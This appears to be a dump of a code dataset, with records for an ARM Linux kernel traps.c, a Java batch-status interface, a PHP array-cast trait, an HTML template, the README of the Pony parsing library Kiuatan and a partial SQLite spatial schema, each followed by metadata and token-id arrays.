val, bad; if (thumb) bad = __get_user(val, &((u16 *)addr)[i]); else bad = __get_user(val, &((u32 *)addr)[i]); if (!bad) p += sprintf(p, i == 0 ? "(%0*x) " : "%0*x ", width, val); else { p += sprintf(p, "bad PC value"); break; } } printk("%sCode: %s\n", lvl, str); set_fs(fs); } #ifdef CONFIG_ARM_UNWIND static inline void dump_backtrace(struct pt_regs *regs, struct task_struct *tsk) { unwind_backtrace(regs, tsk); } #else static void dump_backtrace(struct pt_regs *regs, struct task_struct *tsk) { unsigned int fp, mode; int ok = 1; printk("Backtrace: "); if (!tsk) tsk = current; if (regs) { fp = regs->ARM_fp; mode = processor_mode(regs); } else if (tsk != current) { fp = thread_saved_fp(tsk); mode = 0x10; } else { asm("mov %0, fp" : "=r" (fp) : : "cc"); mode = 0x10; } if (!fp) { printk("no frame pointer"); ok = 0; } else if (verify_stack(fp)) { printk("invalid frame pointer 0x%08x", fp); ok = 0; } else if (fp < (unsigned long)end_of_stack(tsk)) printk("frame pointer underflow"); printk("\n"); if (ok) c_backtrace(fp, mode); } #endif void dump_stack(void) { dump_backtrace(NULL, NULL); } EXPORT_SYMBOL(dump_stack); void show_stack(struct task_struct *tsk, unsigned long *sp) { dump_backtrace(NULL, tsk); barrier(); } #ifdef CONFIG_PREEMPT #define S_PREEMPT " PREEMPT" #else #define S_PREEMPT "" #endif #ifdef CONFIG_SMP #define S_SMP " SMP" #else #define S_SMP "" #endif static void __die(const char *str, int err, struct thread_info *thread, struct pt_regs *regs) { struct task_struct *tsk = thread->task; static int die_counter; #if defined(CONFIG_MACH_STAR) set_default_loglevel(); /* 20100916 set default loglevel */ #endif printk(KERN_EMERG "Internal error: %s: %x [#%d]" S_PREEMPT S_SMP "\n", str, err, ++die_counter); sysfs_printk_last_file(); print_modules(); __show_regs(regs); printk(KERN_EMERG "Process %.*s (pid: %d, stack limit = 0x%p)\n", TASK_COMM_LEN, tsk->comm, task_pid_nr(tsk), thread + 1); if (!user_mode(regs) || in_interrupt()) { dump_mem(KERN_EMERG, "Stack: ", regs->ARM_sp, THREAD_SIZE + (unsigned long)task_stack_page(tsk)); dump_backtrace(regs, tsk); dump_instr(KERN_EMERG, regs); } } DEFINE_SPINLOCK(die_lock); /* * This function is protected against re-entrancy. */ NORET_TYPE void die(const char *str, struct pt_regs *regs, int err) { struct thread_info *thread = current_thread_info(); oops_enter(); spin_lock_irq(&die_lock); console_verbose(); bust_spinlocks(1); __die(str, err, thread, regs); bust_spinlocks(0); add_taint(TAINT_DIE); spin_unlock_irq(&die_lock); oops_exit(); if (in_interrupt()) panic("Fatal exception in interrupt"); if (panic_on_oops) panic("Fatal exception"); do_exit(SIGSEGV); } void arm_notify_die(const char *str, struct pt_regs *regs, struct siginfo *info, unsigned long err, unsigned long trap) { if (user_mode(regs)) { current->thread.error_code = err; current->thread.trap_no = trap; force_sig_info(info->si_signo, info, current); } else { die(str, regs, err); } } static LIST_HEAD(undef_hook); static DEFINE_SPINLOCK(undef_lock); void register_undef_hook(struct undef_hook *hook) { unsigned long flags; spin_lock_irqsave(&undef_lock, flags); list_add(&hook->node, &undef_hook); spin_unlock_irqrestore(&undef_lock, flags); } void unregister_undef_hook(struct undef_hook *hook) { unsigned long flags; spin_lock_irqsave(&undef_lock, flags); list_del(&hook->node); spin_unlock_irqrestore(&undef_lock, flags); } static int call_undef_hook(struct pt_regs *regs, unsigned int instr) { struct undef_hook *hook; unsigned long flags; int (*fn)(struct pt_regs *regs, unsigned int instr) = NULL; spin_lock_irqsave(&undef_lock, flags); list_for_each_entry(hook, &undef_hook, node) if ((instr & hook->instr_mask) == hook->instr_val && (regs->ARM_cpsr & hook->cpsr_mask) == hook->cpsr_val) fn = hook->fn; spin_unlock_irqrestore(&undef_lock, flags); return fn ? fn(regs, instr) : 1; } asmlinkage void __exception do_undefinstr(struct pt_regs *regs) { unsigned int correction = thumb_mode(regs) ? 2 : 4; unsigned int instr; siginfo_t info; void __user *pc; /* * According to the ARM ARM, PC is 2 or 4 bytes ahead, * depending whether we're in Thumb mode or not. * Correct this offset. */ regs->ARM_pc -= correction; pc = (void __user *)instruction_pointer(regs); if (processor_mode(regs) == SVC_MODE) { instr = *(u32 *) pc; } else if (thumb_mode(regs)) { get_user(instr, (u16 __user *)pc); } else { get_user(instr, (u32 __user *)pc); } if (call_undef_hook(regs, instr) == 0) return; #ifdef CONFIG_DEBUG_USER if (user_debug & UDBG_UNDEFINED) { printk(KERN_INFO "%s (%d): undefined instruction: pc=%p\n", current->comm, task_pid_nr(current), pc); dump_instr(KERN_INFO, regs); } #endif info.si_signo = SIGILL; info.si_errno = 0; info.si_code = ILL_ILLOPC; info.si_addr = pc; arm_notify_die("Oops - undefined instruction", regs, &info, 0, 6); } asmlinkage void do_unexp_fiq (struct pt_regs *regs) { printk("Hmm. Unexpected FIQ received, but trying to continue\n"); printk("You may have a hardware problem...\n"); } /* * bad_mode handles the impossible case in the vectors. If you see one of * these, then it's extremely serious, and could mean you have buggy hardware. * It never returns, and never tries to sync. We hope that we can at least * dump out some state information... */ asmlinkage void bad_mode(struct pt_regs *regs, int reason) { console_verbose(); printk(KERN_CRIT "Bad mode in %s handler detected\n", handler[reason]); die("Oops - bad mode", regs, 0); local_irq_disable(); panic("bad mode"); } static int bad_syscall(int n, struct pt_regs *regs) { struct thread_info *thread = current_thread_info(); siginfo_t info; if (current->personality != PER_LINUX && current->personality != PER_LINUX_32BIT && thread->exec_domain->handler) { thread->exec_domain->handler(n, regs); return regs->ARM_r0; } #ifdef CONFIG_DEBUG_USER if (user_debug & UDBG_SYSCALL) { printk(KERN_ERR "[%d] %s: obsolete system call %08x.\n", task_pid_nr(current), current->comm, n); dump_instr(KERN_ERR, regs); } #endif info.si_signo = SIGILL; info.si_errno = 0; info.si_code = ILL_ILLTRP; info.si_addr = (void __user *)instruction_pointer(regs) - (thumb_mode(regs) ? 2 : 4); arm_notify_die("Oops - bad syscall", regs, &info, n, 0); return regs->ARM_r0; } static inline void do_cache_op(unsigned long start, unsigned long end, int flags) { struct mm_struct *mm = current->active_mm; struct vm_area_struct *vma; if (end < start || flags) return; down_read(&mm->mmap_sem); vma = find_vma(mm, start); if (vma && vma->vm_start < end) { if (start < vma->vm_start) start = vma->vm_start; if (end > vma->vm_end) end = vma->vm_end; up_read(&mm->mmap_sem); flush_cache_user_range(start, end); return; } up_read(&mm->mmap_sem); } /* * Handle all unrecognised system calls. * 0x9f0000 - 0x9fffff are some more esoteric system calls */ #define NR(x) ((__ARM_NR_##x) - __ARM_NR_BASE) asmlinkage int arm_syscall(int no, struct pt_regs *regs) { struct thread_info *thread = current_thread_info(); siginfo_t info; if ((no >> 16) != (__ARM_NR_BASE>> 16)) return bad_syscall(no, regs); switch (no & 0xffff) { case 0: /* branch through 0 */ info.si_signo = SIGSEGV; info.si_errno = 0; info.si_code = SEGV_MAPERR; info.si_addr = NULL; arm_notify_die("branch through zero", regs, &info, 0, 0); return 0; case NR(breakpoint): /* SWI BREAK_POINT */ regs->ARM_pc -= thumb_mode(regs) ? 2 : 4; ptrace_break(current, regs); return regs->ARM_r0; /* * Flush a region from virtual address 'r0' to virtual address 'r1' * _exclusive_. There is no alignment requirement on either address; * user space does not need to know the hardware cache layout. * * r2 contains flags. It should ALWAYS be passed as ZERO until it * is defined to be something else. For now we ignore it, but may * the fires of hell burn in your belly if you break this rule. ;) * * (at a later date, we may want to allow this call to not flush * various aspects of the cache. Passing '0' will guarantee that * everything necessary gets flushed to maintain consistency in * the specified region). */ case NR(cacheflush): do_cache_op(regs->ARM_r0, regs->ARM_r1, regs->ARM_r2); return 0; case NR(usr26): if (!(elf_hwcap & HWCAP_26BIT)) break; regs->ARM_cpsr &= ~MODE32_BIT; return regs->ARM_r0; case NR(usr32): if (!(elf_hwcap & HWCAP_26BIT)) break; regs->ARM_cpsr |= MODE32_BIT; return regs->ARM_r0; case NR(set_tls): thread->tp_value = regs->ARM_r0; #if defined(CONFIG_HAS_TLS_REG) #if defined(CONFIG_TEGRA_ERRATA_657451) BUG_ON(regs->ARM_r0 & 0x1); asm ("mcr p15, 0, %0, c13, c0, 3" : : "r" ((regs->ARM_r0) | ((regs->ARM_r0>>20) & 0x1))); #else asm ("mcr p15, 0, %0, c13, c0, 3" : : "r" (regs->ARM_r0) ); #endif #elif !defined(CONFIG_TLS_REG_EMUL) /* * User space must never try to access this directly. * Expect your app to break eventually if you do so. * The user helper at 0xffff0fe0 must be used instead. * (see entry-armv.S for details) */ *((unsigned int *)0xffff0ff0) = regs->ARM_r0; #endif return 0; #ifdef CONFIG_NEEDS_SYSCALL_FOR_CMPXCHG /* * Atomically store r1 in *r2 if *r2 is equal to r0 for user space. * Return zero in r0 if *MEM was changed or non-zero if no exchange * happened. Also set the user C flag accordingly. * If access permissions have to be fixed up then non-zero is * returned and the operation has to be re-attempted. * * *NOTE*: This is a ghost syscall private to the kernel. Only the * __kuser_cmpxchg code in entry-armv.S should be aware of its * existence. Don't ever use this from user code. */ case NR(cmpxchg): for (;;) { extern void do_DataAbort(unsigned long addr, unsigned int fsr, struct pt_regs *regs); unsigned long val; unsigned long addr = regs->ARM_r2; struct mm_struct *mm = current->mm; pgd_t *pgd; pmd_t *pmd; pte_t *pte; spinlock_t *ptl; regs->ARM_cpsr &= ~PSR_C_BIT; down_read(&mm->mmap_sem); pgd = pgd_offset(mm, addr); if (!pgd_present(*pgd)) goto bad_access; pmd = pmd_offset(pgd, addr); if (!pmd_present(*pmd)) goto bad_access; pte = pte_offset_map_lock(mm, pmd, addr, &ptl); if (!pte_present(*pte) || !pte_dirty(*pte)) { pte_unmap_unlock(pte, ptl); goto bad_access; } val = *(unsigned long *)addr; val -= regs->ARM_r0; if (val == 0) { *(unsigned long *)addr = regs->ARM_r1; regs->ARM_cpsr |= PSR_C_BIT; } pte_unmap_unlock(pte, ptl); up_read(&mm->mmap_sem); return val; bad_access: up_read(&mm->mmap_sem); /* simulate a write access fault */ do_DataAbort(addr, 15 + (1 << 11), regs); } #endif default: /* Calls 9f00xx..9f07ff are defined to return -ENOSYS if not implemented, rather than raising SIGILL. This way the calling program can gracefully determine whether a feature is supported. */ if ((no & 0xffff) <= 0x7ff) return -ENOSYS; break; } #ifdef CONFIG_DEBUG_USER /* * experience shows that these seem to indicate that * something catastrophic has happened */ if (user_debug & UDBG_SYSCALL) { printk("[%d] %s: arm syscall %d\n", task_pid_nr(current), current->comm, no); dump_instr("", regs); if (user_mode(regs)) { __show_regs(regs); c_backtrace(regs->ARM_fp, processor_mode(regs)); } } #endif info.si_signo = SIGILL; info.si_errno = 0; info.si_code = ILL_ILLTRP; info.si_addr = (void __user *)instruction_pointer(regs) - (thumb_mode(regs) ? 2 : 4); arm_notify_die("Oops - bad syscall(2)", regs, &info, no, 0); return 0; } #ifdef CONFIG_TLS_REG_EMUL /* * We might be running on an ARMv6+ processor which should have the TLS * register but for some reason we can't use it, or maybe an SMP system * using a pre-ARMv6 processor (there are apparently a few prototypes like * that in existence) and therefore access to that register must be * emulated. */ static int get_tp_trap(struct pt_regs *regs, unsigned int instr) { int reg = (instr >> 12) & 15; if (reg == 15) return 1; regs->uregs[reg] = current_thread_info()->tp_value; regs->ARM_pc += 4; return 0; } static struct undef_hook arm_mrc_hook = { .instr_mask = 0x0fff0fff, .instr_val = 0x0e1d0f70, .cpsr_mask = PSR_T_BIT, .cpsr_val = 0, .fn = get_tp_trap, }; static int __init arm_mrc_hook_init(void) { register_undef_hook(&arm_mrc_hook); return 0; } late_initcall(arm_mrc_hook_init); #endif void __bad_xchg(volatile void *ptr, int size) { printk("xchg: bad data size: pc 0x%p, ptr 0x%p, size %d\n", __builtin_return_address(0), ptr, size); BUG(); } EXPORT_SYMBOL(__bad_xchg); /* * A data abort trap was taken, but we did not handle the instruction. * Try to abort the user program, or panic if it was the kernel. */ asmlinkage void baddataabort(int code, unsigned long instr, struct pt_regs *regs) { unsigned long addr = instruction_pointer(regs); siginfo_t info; #ifdef CONFIG_DEBUG_USER if (user_debug & UDBG_BADABORT) { printk(KERN_ERR "[%d] %s: bad data abort: code %d instr 0x%08lx\n", task_pid_nr(current), current->comm, code, instr); dump_instr(KERN_ERR, regs); show_pte(current->mm, addr); } #endif info.si_signo = SIGILL; info.si_errno = 0; info.si_code = ILL_ILLOPC; info.si_addr = (void __user *)addr; arm_notify_die("unknown data abort code", regs, &info, instr, 0); } void __attribute__((noreturn)) __bug(const char *file, int line) { printk(KERN_CRIT"kernel BUG at %s:%d!\n", file, line); *(int *)0 = 0; /* Avoid "noreturn function does return" */ for (;;); } EXPORT_SYMBOL(__bug); void __readwrite_bug(const char *fn) { printk("%s called, but not implemented\n", fn); BUG(); } EXPORT_SYMBOL(__readwrite_bug); void __pte_error(const char *file, int line, unsigned long val) { printk("%s:%d: bad pte %08lx.\n", file, line, val); } void __pmd_error(const char *file, int line, unsigned long val) { printk("%s:%d: bad pmd %08lx.\n", file, line, val); } void __pgd_error(const char *file, int line, unsigned long val) { printk("%s:%d: bad pgd %08lx.\n", file, line, val); } asmlinkage void __div0(void) { printk("Division by zero in kernel.\n"); dump_stack(); } EXPORT_SYMBOL(__div0); void abort(void) { BUG(); /* if that doesn't kill us, halt */ panic("Oops failed to kill thread"); } EXPORT_SYMBOL(abort); void __init trap_init(void) { return; } void __init early_trap_init(void) { #if defined(CONFIG_CPU_USE_DOMAINS) unsigned long vectors = CONFIG_VECTORS_BASE; #else unsigned long vectors = (unsigned long)vectors_page; #endif extern char __stubs_start[], __stubs_end[]; extern char __vectors_start[], __vectors_end[]; extern char __kuser_helper_start[], __kuser_helper_end[]; int kuser_sz = __kuser_helper_end - __kuser_helper_start; /* * Copy the vectors, stubs and kuser helpers (in entry-armv.S) * into the vector page, mapped at 0xffff0000, and ensure these * are visible to the instruction stream. */ memcpy((void *)vectors, __vectors_start, __vectors_end - __vectors_start); memcpy((void *)vectors + 0x200, __stubs_start, __stubs_end - __stubs_start); memcpy((void *)vectors + 0x1000 - kuser_sz, __kuser_helper_start, kuser_sz); /* * Copy signal return handlers into the vector page, and * set sigreturn to be a pointer to these. */ memcpy((void *)(vectors + KERN_SIGRETURN_CODE - CONFIG_VECTORS_BASE), sigreturn_codes, sizeof(sigreturn_codes)); memcpy((void *)(vectors + KERN_RESTART_CODE - CONFIG_VECTORS_BASE), syscall_restart_code, sizeof(syscall_restart_code)); flush_icache_range(vectors, vectors + PAGE_SIZE); modify_domain(DOMAIN_USER, DOMAIN_CLIENT); }
Mazout360/lge-kernel-gb
arch/arm/kernel/traps.c
C
gpl-2.0
19,685
[ 30522, 1013, 1008, 1008, 11603, 1013, 7905, 1013, 2849, 1013, 16293, 1013, 16735, 1012, 1039, 1008, 1008, 9385, 1006, 1039, 1007, 2786, 1011, 2268, 5735, 2332, 1008, 10341, 2008, 3711, 1996, 2168, 2004, 11603, 1013, 7905, 1013, 1045, 22025,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
package net.smartcosmos.model.batch; /* * *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#* * SMART COSMOS Platform Core SDK * =============================================================================== * Copyright (C) 2013 - 2015 SMARTRAC Technology Fletcher, Inc. * =============================================================================== * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * #*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*# */ public interface IBatchStatusReport { long getBatchProcessorStartTimestamp(); BatchProcessorStatus getBatchProcessorStatus(); int getPercentageComplete(); long getLastPercentageCompleteUpdateTimestamp(); long getBatchProcessorStopTimestamp(); String getErrorMessage(); int getErrorCode(); void setBatchProcessorStartTimestamp(long batchProcessorStartTimestamp); void setBatchProcessorStatus(BatchProcessorStatus batchProcessorStatus); void setPercentageComplete(int percentageComplete); void setLastPercentageCompleteUpdateTimestamp(long lastPercentageCompleteUpdateTimestamp); void setBatchProcessorStopTimestamp(long batchProcessorStopTimestamp); void setErrorMessage(String errorMessage); void setErrorCode(int errorCode); }
SMARTRACTECHNOLOGY-PUBLIC/smartcosmos-sdk-java
src/main/java/net/smartcosmos/model/batch/IBatchStatusReport.java
Java
apache-2.0
1,831
[ 30522, 7427, 5658, 1012, 6047, 13186, 15530, 1012, 2944, 1012, 14108, 1025, 1013, 1008, 1008, 1008, 1001, 1008, 1001, 1008, 1001, 1008, 1001, 1008, 1001, 1008, 1001, 1008, 1001, 1008, 1001, 1008, 1001, 1008, 1001, 1008, 1001, 1008, 1001, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<?php namespace WPMVC\MVC\Traits; /** * Generic cast to array trait. * * @author Alejandro Mostajo <http://about.me/amostajo> * @copyright 10Quality <http://www.10quality.com> * @license MIT * @package WPMVC\MVC * @version 2.1.14 */ trait ArrayCastTrait { /** * Returns object converted to array. * @since 1.0.1 * * @param array. */ public function to_array() { $output = array(); // Attributes foreach ( $this->attributes as $property => $value ) { if ( in_array( $this->get_alias($property), $this->hidden ) ) continue; $output[$this->get_alias($property)] = $value; } // Meta foreach ( $this->meta as $key => $value ) { $alias = $this->get_alias('meta_' . $key); if ( in_array( $alias, $this->hidden ) ) continue; if ( $alias != 'meta_' . $key) { $output[$alias] = $value; } } // Functions foreach ($this->aliases as $alias => $property) { if ( in_array( $alias, $this->hidden ) ) continue; if ( preg_match( '/func_/', $property ) ) { $function_name = preg_replace( '/func_/', '', $property ); $output[$alias] = $this->$function_name(); if ( is_object( $output[$alias] ) ) $output[$alias] = method_exists( $output[$alias], 'to_array' ) ? $output[$alias]->to_array() : (array)$output[$alias]; } } // Relationships foreach ( get_class_methods( $this ) as $method ) { if ( ! preg_match( '/_meta|to_|\_\_|load|save|delete|from|find|alias|get|set|has_|belongs/', $method ) && $this->$method !== null && !in_array( $method, $this->hidden ) ) { $output[$method] = $this->$method; if ( is_object( $output[$method] ) ) $output[$method] = method_exists( $output[$method], 'to_array' ) ? $output[$method]->to_array() : (array)$output[$method]; } } // Hidden double check foreach ( $this->hidden as $key ) { unset( $output[$key] ); } return $output; } /** * Returns object converted to array. * @since 1.0.0 * * @param array. */ public function __toArray() { return $this->to_array(); } }
10quality/wpmvc-mvc
src/Traits/ArrayCastTrait.php
PHP
mit
2,488
[ 30522, 1026, 1029, 25718, 3415, 15327, 1059, 9737, 25465, 1032, 19842, 2278, 1032, 12955, 1025, 1013, 1008, 1008, 1008, 12391, 3459, 2000, 9140, 18275, 1012, 1008, 1008, 1030, 3166, 16810, 2087, 13006, 2080, 1026, 8299, 1024, 1013, 1013, 20...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<a href tabindex="-1" ng-attr-title="{{match.label}}"> <span ng-bind-html="match.label.artist | uibTypeaheadHighlight:query"></span> <br> <small ng-bind-html="match.label.title | uibTypeaheadHighlight:query"></small> </a>
prismsoundzero/delicious-library-template
prismsoundzero.libraryhtmltemplate/Contents/Template/html/item-match.html
HTML
gpl-3.0
240
[ 30522, 1026, 1037, 17850, 12879, 21628, 22254, 10288, 1027, 1000, 1011, 1015, 1000, 12835, 1011, 2012, 16344, 1011, 2516, 1027, 1000, 1063, 1063, 2674, 1012, 3830, 1065, 1065, 1000, 1028, 1026, 8487, 12835, 1011, 14187, 1011, 16129, 1027, 1...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
# Kiuatan ![CI](https://github.com/kulibali/kiuatan/workflows/CI/badge.svg) Kiuatan ("horse" or "pony" in [Chinook Jargon](https://en.wikipedia.org/wiki/Chinook_Jargon#Chinook_Jargon_words_used_by_English-language_speakers)) is a library for building and running parsers in the [Pony](https://www.ponylang.org) programming language. - Kiuatan uses [Parsing Expression Grammar](https://en.wikipedia.org/wiki/Parsing_expression_grammar) semantics, which means: - Choices are ordered, i.e. the parser will always try to parse alternatives in the order they are declared. - Sequences are greedy, i.e. the parser will not backtrack from the end of a sequence. - You can use positive and negative lookahead that does not advance the match position to constrain greedy sequences. - Parsers do not backtrack from successful choices. - Kiuatan parsers are "packrat" parsers; they memoize intermediate results, resulting in linear-time parsing. - Parsers use Mederios et al's [algorithm](https://arxiv.org/abs/1207.0443) to handle unlimited left-recursion. Further [documentation is here](https://kulibali.github.io/kiuatan/kiuatan--index/). ## Obtaining Kiuatan ### Corral The easiest way to incorporate Kiuatan into your Pony project is to use Pony [Corral](https://github.com/ponylang/corral). Once you have it installed, `cd` to your project's directory and type: ```bash corral add github kulibali/kiuatan ``` This will add the library to your project. You can then build your project with something like: ```bash corral fetch corral run -- ponyc . ``` ### Git You can clone and build Kiuatan directly from GitHub: ```bash git clone https://github.com/kulibali/kiuatan.git cd kiuatan make test ``` To use Kiuatan in a project you will need to add `kiuatan/kiuatan` to your `PONYPATH` environment variable. ## Documentation [Documentation is here](https://kulibali.github.io/kiuatan/kiuatan--index/). ## Example See the [calc example](https://github.com/kulibali/kiuatan/blob/main/examples/calc/calc) for a sample of how to define and use a grammar for Kiuatan.
kulibali/kiuatan
README.md
Markdown
mit
2,082
[ 30522, 1001, 11382, 6692, 5794, 999, 1031, 25022, 1033, 1006, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 13970, 29521, 11475, 1013, 11382, 6692, 5794, 1013, 2147, 12314, 2015, 1013, 25022, 1013, 10780, 1012, 17917, 2290, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
CREATE TABLE IF NOT EXISTS sessions ( id CHAR(72) PRIMARY KEY, session_data TEXT );; CREATE TABLE IF NOT EXISTS users ( user_id INTEGER PRIMARY KEY AUTOINCREMENT, site varchar(20) NOT NULL, site_id varchar(100) NOT NULL, user_name varchar(100) NOT NULL );; CREATE INDEX IF NOT EXISTS site_id_idx ON users(site,site_id);; SELECT CASE (SELECT count(*) FROM sqlite_master WHERE type='table' AND name='spatial_ref_sys') WHEN 1 THEN (SELECT 1) ELSE (SELECT InitSpatialMetaData()) END;; REPLACE INTO spatial_ref_sys (srid, auth_name, auth_srid, ref_sys_name, proj4text) VALUES (4326, 'epsg', 4326, 'WGS 84', '+proj=longlat +ellps=WGS84 +datum=WGS84 +no_defs');; REPLACE INTO spatial_ref_sys (srid, auth_name, auth_srid, ref_sys_name, proj4text) VALUES (3857, 'epsg', 3857, 'WGS 84 / Simple Mercator', '+proj=merc +a=6378137 +b=6378137 +lat_ts=0.0 +lon_0=0.0 +x_0=0.0 +y_0=0 +k=1.0 +units=m +nadgrids=@null +no_defs');; CREATE TABLE IF NOT EXISTS tilemaps ( map_id INTEGER PRIMARY KEY AUTOINCREMENT, user_id INTEGER NOT NULL, map_name varchar(200) NOT NULL, map_url varchar(500) NOT NULL, description varchar(1000), attribution varchar(1000), is_tms boolean NOT NULL, min_lat FLOAT NOT NULL, min_lng FLOAT NOT NULL, max_lat FLOAT NOT NULL, max_lng FLOAT NOT NULL, geom_name varchar(200), min_year INTEGER, max_year INTEGER, era_name varchar(200), min_zoom INTEGER NOT NULL, max_zoom INTEGER NOT NULL, zoom_index FLOAT NOT NULL, xml_url varchar(500), nontms_logic varchar(10000), mapgeom_id INTEGER NOT NULL, mapera_id INTEGER );; --SELECT CASE (SELECT count(*) FROM sqlite_master WHERE type='trigger' AND name='ggi_tilemaps_mapbounds') -- WHEN 1 THEN (SELECT 1) -- ELSE (SELECT AddGeometryColumn('tilemaps', 'mapbounds', 4326, 'GEOMETRY', 'XY', 1)) --END;; CREATE INDEX IF NOT EXISTS map_user_idx ON tilemaps(user_id);; CREATE INDEX IF NOT EXISTS map_geom_idx ON tilemaps(mapgeom_id);; CREATE INDEX IF NOT EXISTS map_era_idx ON tilemaps(mapera_id);; --SELECT CASE (SELECT count(*) FROM sqlite_master WHERE type='table' AND name='idx_tilemaps_mapbounds') -- WHEN 1 THEN (SELECT 1) -- ELSE (SELECT CreateSpatialIndex('tilemaps','mapbounds')) --END;; CREATE TABLE IF NOT EXISTS mapgeoms ( geom_id INTEGER PRIMARY KEY AUTOINCREMENT, geom_type varchar(50) NOT NULL, geom_name varchar(200) NOT NULL );; SELECT CASE (SELECT count(*) FROM sqlite_master WHERE type='trigger' AND name='ggi_mapgeoms_geoms') WHEN 1 THEN (SELECT 1) ELSE (SELECT AddGeometryColumn('mapgeoms', 'geoms', 4326, 'GEOMETRY', 'XY', 1)) END;; CREATE INDEX IF NOT EXISTS geom_type_idx ON mapgeoms(geom_type);; SELECT CASE (SELECT count(*) FROM sqlite_master WHERE type='table' AND name='idx_mapgeoms_geoms') WHEN 1 THEN (SELECT 1) ELSE (SELECT 